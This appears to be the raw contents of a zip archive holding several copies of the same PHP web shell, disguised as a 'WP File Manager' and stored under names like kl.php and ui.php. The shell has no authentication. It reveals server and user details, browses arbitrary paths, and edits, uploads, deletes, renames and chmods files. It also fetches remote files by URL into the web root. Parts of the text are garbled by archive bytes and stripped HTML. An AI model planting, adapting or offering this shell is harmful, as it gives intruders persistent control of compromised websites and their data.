'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëpeter@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëpeter@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
